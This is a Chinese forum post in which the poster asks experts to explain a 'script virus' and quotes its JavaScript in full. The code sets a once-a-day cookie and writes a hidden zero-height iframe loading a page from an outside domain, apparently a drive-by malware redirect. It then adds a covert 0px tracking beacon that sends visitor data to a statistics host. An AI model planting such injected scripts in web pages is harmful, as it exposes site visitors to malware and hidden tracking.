请高手解释一下，这个脚本病毒


请高手解释一下，这个脚本病毒，谢谢function Get(){
var Then = new Date() 
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1=" 
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){ 
} else 
{ 
document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
document.write ('<iframe src=http://xlsww.com/my/host.htm?id=badu_gogle width=100 height=0></iframe>');
}
}Get();
var a5566tf="51la";var a5566pu="";var a5566pf="51la";var a5566su=window.location;var a5566sf=document.referrer;var a5566of="";var a5566op="";var a5566ops=1;var a5566ot=1;var a5566d=new Date();var a5566color="";if (navigator.appName=="Netscape"){a5566color=screen.pixelDepth;} else {a5566color=screen.colorDepth;}
try{a5566tf=top.document.referrer;}catch(e){}
try{a5566pu =window.parent.location;}catch(e){}
try{a5566pf=window.parent.document.referrer;}catch(e){}
try{a5566ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a5566ops=(a5566ops==null)?1: (parseInt(unescape((a5566ops)[2]))+1);var a5566oe =new Date();a5566oe.setTime(a5566oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a5566ops+ ";path=/;expires="+a5566oe.toGMTString();a5566ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a5566ot==null){a5566ot=1;}else{a5566ot=parseInt(unescape((a5566ot)[2])); a5566ot=(a5566ops==1)?(a5566ot+1):(a5566ot);}a5566oe.setTime(a5566oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a5566ot+";path=/;expires="+a5566oe.toGMTString();}catch(e){}
a5566of=a5566sf;if(a5566pf!=="51la"){a5566of=a5566pf;}if(a5566tf!=="51la"){a5566of=a5566tf;}a5566op=a5566pu;try{lainframe}catch(e){a5566op=a5566su;}document.write('<img style="width:0px;height:0px" src="http://web.51.la/go.asp?svid=53&id=3075566&tpages='+a5566ops+'&ttimes='+a5566ot+'&tzone='+(0-a5566d.getTimezoneOffset()/60)+'&tcolor='+a5566color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a5566of)+'&vpage='+escape(a5566op)+'" />');